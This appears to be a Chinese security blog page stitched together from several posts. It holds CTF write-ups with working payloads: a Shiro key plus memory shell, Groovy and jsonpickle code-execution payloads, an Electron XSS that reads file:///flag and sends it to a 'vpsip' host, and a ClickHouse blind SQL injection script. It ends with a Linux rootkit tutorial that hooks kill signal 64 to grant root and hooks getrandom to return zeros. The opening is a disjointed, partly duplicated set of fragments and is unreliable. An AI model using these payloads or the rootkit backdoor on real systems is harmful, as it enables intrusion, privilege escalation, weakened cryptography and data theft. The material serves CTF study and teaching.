Xalan ClassLoader
看到这个字眼时还是很熟悉的,能够直接想到 TemplatesImpl 链子,以前做过一道 2023 巅峰极客 BabyURL 就用到了这个链子,自己当时也是分析过
,也是很久以前的事情了,这次就巩固总结一下吧
看到这个字眼时还是很熟悉的,能够直接想到 TemplatesImpl 链子,以前做过一道 2023 巅峰极客 BabyURL 就用到了这个链子,自己当时也是分析过
,也是很久以前的事情了,这次就巩固总结一下吧
BCEL ClassLoader 本质上是一个自定义的类加载器,属于 Apache Commons BCEL(Byte Code Engineering Library)项目的一部分,主要利用于动态加载和解析 Java 字节码
类名:
com.sun.org.apache.bcel.internal.util.ClassLoader
这篇文章其实早就在写了,但不知为何其被我遗留在一个不为人知的的角落里,再不发出来就要发霉了。。。
7.8 ~ 9.8
Burp Suite的Turbo Intruder插件进行短信轰炸测试iv参数有时会硬编码在js文件中.js.map文件,可通过reverse-sourcemap工具逆向出源码,查找敏感信息或业务逻辑漏洞baseURL,可根据系统或框架特征尝试常用路径ZipSlip手法进行目录遍历,可能造成文件上传或覆盖(如kkFileView组件)PUT请求可能造成任意文件上传某次打点时偶遇Yapi管理平台资产,发现其存在版本下 (< 1.12.0) 的nday漏洞,整个攻击过程感觉挺巧妙的,以此记录下对其白盒测试的分析和思考
启动服务器
1 | ./teamserver <服务端ip> <CS服务端密码> |
以前学习Java反序列化的过程中多多少少接触了一些Java基础知识点,但自己并未系统性的学习过,借此机会来将Java基础巩固一下,也是对Java这门语言有更深刻的认识,二是更快上手Java安全的其它知识
盲猜Shiro反序列化

1 | kPH+bIxk5D2deZiIxcaaaA== |
有了key直接连

注入内存马后在环境变量中找到flag

这是一个Groovy表达式注入,在了解了基本的语法后发现
禁用闭包功能
1 | secureASTCustomizer.setClosuresAllowed(false); |
禁用execute方法
1 | if (methodName.equals("execute")) { |
只允许调用string类的合法方法
1 | if (typeName.equals("java.lang.String")) { |
发现evaluate并没有被过滤,有点类似与eval的任意代码执行,我们可以借助GroovyShell()
1 | def shell = new GroovyShell() |



非预期?payload居然是一样的,估计是出题人的失误
一个基于flask框架的登录系统,分为普通用户和管理员用户,关于界面如下

通过抓包不难看出,用户登录会先分配cookie,再跳转到页面


base64解码后
1 | {"py/object": "__main__.Session", "meta": {"user": "qu43ter", "ts": 1753686024}} |
当尝试用admin用户的cookie
1 | {"py/object": "__main__.Session", "meta": {"user": "admin", "ts": 1753686024}} |

发现这是假的,于是再次分析已知信息,发现提到了jsonpickle的字样
1 | {"py/reduce": [{"py/function": "os.system"}, {"py/tuple": ["whoami"]}]} |

后面还过滤了reduce,system,subprocess,builtins,本来想用Unicode字体哈梭但是发现数据解码失败,尝试字符拼接返回error
这里我们需要借助一下官方文档并结合源码来看看有哪些可以利用的反序列化tags,同时借助一篇文章帮助我们理解
想通过{"py/type": "__main__.__dict__"}从全局变量去找黑名单,可惜__dict__被过滤
可以看看文件路径{"py/type": "__main__.__file__"}

看来方向是对的,其中一个py/repr的tag相当于执行eval,会比前面的命令执行构造简单一点,但由于有过滤,这里只是提及一下
(顺便提一句,数据编码错误到跟Unicode没关系,只是单纯自己把结构改了,在用__file__看路径时,用Unicode字体也行,但是我想用py/repr时返回error)
⚠一些自己没注意的细节
后面看源码发现,这是因为
py/repr反序列化时要加参数:safe=False
1
2
3
4
5
6
7
8
9
10 def waf(serialized):
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except:
return "error"但其实依旧无法绕过黑名单,使用Unicode字体是找不到包名的,这里应该依旧得用ASCII字符
而
{"py/type": "__main__.__file__"}通过getattr(__main__, "__fil𝓮__")动态查找属性,这里就可以正常解析
这里是基于py/object来构造,会获取类,并通过__new__来实例化,若实例化失败,则是通过解包的方式cls(*args)来实例化,本质上和py/reduce原理一样

先来读源码
1 | {"py/object": "linecache.getlines", "py/newargs": ["/app/app.py"]} |

列目录去找真的flag
1 | {"py/object": "glob.glob", "py/newargs": ["/*"]} |

但是读不了/readflag,不知道是不是没有权限的问题,估计还是得RCE进去看看
这里暂时网上看到的方法是置空FORBIDDEN,通过clear函数
1 | {"py/object": "__main__.FORBIDDEN.clear","py/newargs": []} |
py/object 指向 FORBIDDEN.clear 方法,py/newargs: [] 表示用空参数列表来调用这个方法,也就相当于FORBIDDEN.clear()


怎么说呢,其实还是得看看源码和文档,网上很多对jsonpickle的描述也只是一笔带过,理解这些tags的含义也就好多了
文件上传泄露AKSK(/api/avatar-credentials头像凭证接口也有泄露)可以看看有些啥东西,但是这里配置的策略是临时数据,并不是永久的aksk,是不能直接连的

首页有一个客户端下载,输入URL即可访问对应的网站,这个客户端暂时没有啥用处
前端可以发现大量的api接口以及一些管理员,文件上传等操作逻辑,文件上传仅在前端判断文件类型是否为png格式,但是奇怪的是这个逻辑是劫持不了的,直接通过头像凭证接口上传了

这里就可以看到每次上传头像都会更新,我们可以通过aksk以及token去临时遍历存储桶的数据
1 | import json |

假的flag
1 | const express = require('express'); |
拿到源码后我们来看管理员那部分逻辑

泄露管理员凭据

这里多了上传文件的功能,可以将图片设置为背景图

1 | // 登录页面 |
这个背景图是通过iframe标签嵌在里面的,显然这里就是一个xss的点,我们先来闭合绕过一下
1 | {"key":"test\" onload=\"alert('xss')"} |


那接下来就可以设置去捕获bot的请求了,提示说bot不会带着秘密来请求,我们得自己先获取
在源码中提示
bot 将会使用客户端软件访问 http://127.0.1:3000/ ,但是bot可不会带着他的秘密去访问哦
那估计和客户端有关,毕竟fetch是无法访问本地文件的(file协议不行),除非有web服务

下载后这个客户端是一个electron框架应用(可通过icon识别),从网上了解到是可以解包的
resources文件夹下app.asar,通过nodejs的asar进行解包;解包后我们看到源代码有两个icp接口

一个是接收用户输入的地址并加载它,如上图我们看到;另一个则是类似于curl的功能,其支持读取file协议文件

至此,我们可以构造payload如下
1 | {"key": "test\" onload=\"window.electronAPI.curl('file:///flag').then(result => {window.location.href='http://vpsip:port/?flag='+result.data})"} |

1 | NepCTF{169423b9-4fda-4890-d097-6a0386f82217} |
不出网则可以写在个人简介中
1 | {"key": "test\" onload=\"window.electronAPI.curl('file:///flag').then(result => { fetch('/api/login',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:JSON.stringify({username:'admin',password:'nepn3pctf-game2025'})}).then(()=>fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:JSON.stringify({bio:result.data})}));});"} |
如果记得没错的话比赛结束后只有2解


可以输入0-9,其它则不会返回数据

找FUZZ字符,初步来看过滤了
1 | union |
并且并不支持逻辑符号,感觉是一个全新的数据库(SELECT * FROM users WHERE id = 1 FORMAT JSON)通过互联网查询最终觉得是ClickHouse数据库,这里有一些语法,可以看到FORMAT

当然,为了方便更好的了解这个新的数据库,我还是选择了安装一个模拟环境,这里我选择Docker镜像
1 | docker pull clickhouse:latest |

默认数据库
1 | ┌─name───────────────┐ |
这里的system相当于我们熟知的INFORMATION_SCHEMA,只不过会有更详细的信息,当然我们需要的数据库名和表名也可以在这里找到,既然后者被ban了我们就选择前者
其中一个语法是INTERSECT子句,也可以通俗的理解为交集,其要求两个查询结果的列相同

那我们可以这样构造
1 | select * from users where id = id intersect select * from users where id = 1 |

但是发现select from以正则匹配的方式被过滤了,但是clickhouse有独特的语法

1 | select * from users where id = id intersect from users select * where id = 1 |

这就很nice,已经成型了,现在就是将数据库中的信息带出来,这里可以利用交集的原理做一个布尔盲注,思路就是将users表和system.databases join起来然后去判断name字段是否等于真正的数据库名(用like进行模糊匹配),这里就是布尔的点了

1 | id intersect from system.databases join users on system.databases.name like '%' select users.id,users.name,users.email,users.age |

接下来写脚本,注意遍历集中的%得删掉,不用我说你也明白为什么
1 | import requests |
一开始这个脚本有点bug,因为是按顺序来的,只能注出首字母考前的名字,有点麻烦的是得人为干预一下,在test_string = '' + result + char前面添加首字母去试,或者我们知道system.databases中几个默认的数据库,那我们也可以将那些首字母从遍历集中删去,那万一我们的目标数据库首字母包含在其中呢?因此后面我改成先去发现所有可能的首字母,然后再进行遍历,你说如果有前两个字母都相同的呢?🤬
数据库名
1 | id intersect from system.databases join users on system.databases.name like '{test_string}%' select users.id,users.name,users.email,users.age |

表名
1 | id intersect from system.tables join users on system.tables.name like '{test_string}%' select users.id,users.name,users.email,users.age where system.tables.database = 'nepnep' |

字段名
1 | id intersect from system.columns join users on system.columns.name like '{test_string}%' select users.id,users.name,users.email,users.age where system.columns.table = 'nepnep' |

字段值
1 | id intersect from nepnep.nepnep join users on `51@g_ls_h3r3` like '{test_string}%' select users.id,users.name,users.email,users.age |

在最后发现_和-是等价的,还以为flag是错的。。。可能是数据库特有的特性吧
Linux信号是进程间通信的一种方式,用于通知进程发生了某种事件或异常,其是异步的,可以由内核、其他进程或进程自身触发
比如kill -9 $PID强制杀死进程,其中9定义为SIGKILL,可以在signal.h查看
在64位中64号默认无特殊用途,需手动注册和处理,也许我们可以借助这个信号来埋藏一个后门
因此接下来的这个钩子的思路显而易见,即检查是否信号SIG = 64,否则就还是本身的系统调用sys_kill
1 | int kill(pid_t pid, int sig); |

1 | asmlinkage int hook_kill(const struct pt_regs *regs) |
可以看到这里没有使用PID进程号,这是因为我们的set_root()函数调用前提只需要SIG,提升的是当前调用进程的权限,并不是目标PID进程的权限,因此这里我们并不关心PID具体是多少
再来跟进set_root()
1 | void set_root(void) |
这里通过prepare_creds()获取当前进程的凭证结构副本,并将所有用户ID和组ID设置为0,最后commit_creds()将修改后的凭证应用到当前进程
该文档指出了更改规则
As previously mentioned, a task may only alter its own credentials, and may not alter those of another task. This means that it doesn't need to use any locking to alter its own credentials.
如前所述,一个任务只能更改其自身的凭证,而不能更改其他任务的凭证。这意味着它不需要使用任何锁定来更改其自身的凭证。
cred 结构体的布局

kuid_t和kgid_t依旧是个结构体

而uid_t和gid_t最终定义为u16,为了提升到root,我们赋值0即可
完整Poc
1 |
|


我们前面说到除了钩住系统调用,还可以去钩其它的对我们有用的非系统调用的内核函数,当时我看到这一段我也暂时想不出除了系统调用还能有什么函数对我们入侵有益
先说结果,这一部分我们钩的是random()函数,使其变得伪随机性;我们都知道一些加密都是会根据随机序列然后进一步去加密,显然无法获取任何随机字节会严重损害系统的加密安全性(例如token变得不再随机)
虽然说其利用率可能不那么大,但我觉得这种思路还是非常新奇,也让我感受到Rootkit的独特魅力
Linux有三大驱动:字符设备、块设备、网络设备
其中字符设备是一种按字节流顺序访问的硬件或虚拟设备,与块设备(如磁盘,按固定大小的块访问)形成对比;字符设备通常用于无需缓冲、直接读写的场景,例如键盘、鼠标、串口、音频设备等
这里说也许会有些抽象,我们来具体查看/dev/目录下

| 设备文件 | 说明 |
|---|---|
/dev/tty |
当前终端 |
/dev/null |
丢弃所有写入的数据 |
/dev/zero |
提供无限的空字节(\0) |
/dev/random |
真随机数生成器 |
/dev/input/mice |
鼠标输入 |
/dev/fb0 |
帧缓冲(图形显示) |
总而言之就是为交互式设备提供字节流访问
回到/dev/random和/dev/urandom,其区别如下:
/dev/random:基于环境噪声(如硬件中断、键盘输入等)生成随机数;当熵池(随机性来源)耗尽时,会阻塞(暂停)直到收集到足够的熵,因此速度较慢
/dev/urandom:同样基于熵池,但在熵不足时会使用伪随机数算法继续生成数据,不会阻塞;速度更快,适合大多数常规用途(如随机数模拟)
因此,从安全性来讲random是更好的选择
当我们尝试读取字符设备时,每个字符设备都有一个file_operations 结构体,其中包含.read 和 .write 字段来进行读写操作
1 | const struct file_operations random_fops = { |
我们继续跟进
1 | random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos) |
其原理跟上述相同,而这个函数就是我们Rookit所模拟的
为了说明完整调用过程,这里引用一条读取随机字符的命令
1 | dd if=/dev/random bs=1 count=32 | xxd |
dd在用户态空间会先使用sys_open去打开/dev/random,这里会分配一个文件描述符fd,接着会调用read()触发 sys_read 系统调用;
内核通过 fd 找到对应的 file 结构体,这里就调用了random_fops.read。⚠有一点需要注意的是,sys_read返回的只是读取随机字符的长度,具体数据是存储到buf缓冲区当中(内核不能直接访问用户空间内存,需要通过copy_to_user() 安全拷贝数据)
Xcellerator暗示到更简便的方法是直接在
file_operations.read做操作,并不需要去挂钩前面所提及的那么多系统调用来达成拦截读取操作的目的
首先我们需要在当前内核找到实际函数名称,因为其不像系统调用那样在系统调用表中
1 | sudo cat /proc/kallsyms | grep random_read |

在hook数组中更改
1 | static struct ftrace_hook hooks[] = { |
⚠需要注意的是,这里我们不是系统调用,所以不需要使用SYSCALL_NAME 宏,也就不需要加上__x64_前缀(详见Xcellerator的文章,同时我在上一篇文章中发现这个问题并做了更改)
还有一点是我自己的系统上是random_read_iter,因此在实现钩子时会不太一样,这里要根据具体情况来实现
核心逻辑
1 | static asmlinkage ssize_t hook_random_read(struct kiocb *iocb, struct iov_iter *to) |
先调用真正的 orig_random_read 函数获取随机数据,然后将用户空间的数据拷贝到内核缓冲区,并将所有随机字节替换为 0x00,最后将篡改后的数据拷贝回用户空间
完整Poc
1 |
|
1 | dd if=/dev/random bs=1 count=32 | xxd |

重新加载后

正如我们一开始所说,一些用户态空间的程序在加密时一定会用到字符设备,系统默认使用/dev/urandom,假设有脚本如下
1 | #!/usr/bin/python |

⚠依旧需要注意的是,Python的 os.urandom() 在Linux内核3.17及以上版本中使用 getrandom 系统调用来获取随机数,而不是直接读取 /dev/urandom 或 /dev/random 设备文件

但也并不意味着我们上面的分析多此一举了,毕竟这是一个入门的过程。那既然如此,我们就可以直接劫持这该死的sys_getrandom,我添加了hook_getrandom,并调整了hook数组
1 |
|
加载后

现在你可以看到,这完全是一个伪随机了
“A rootkit is a collection of computer software, typically malicious, designed to enable access to a computer or an area of its software that is not otherwise allowed (for example, to an unauthorized user) and often masks its existence or the existence of other software.”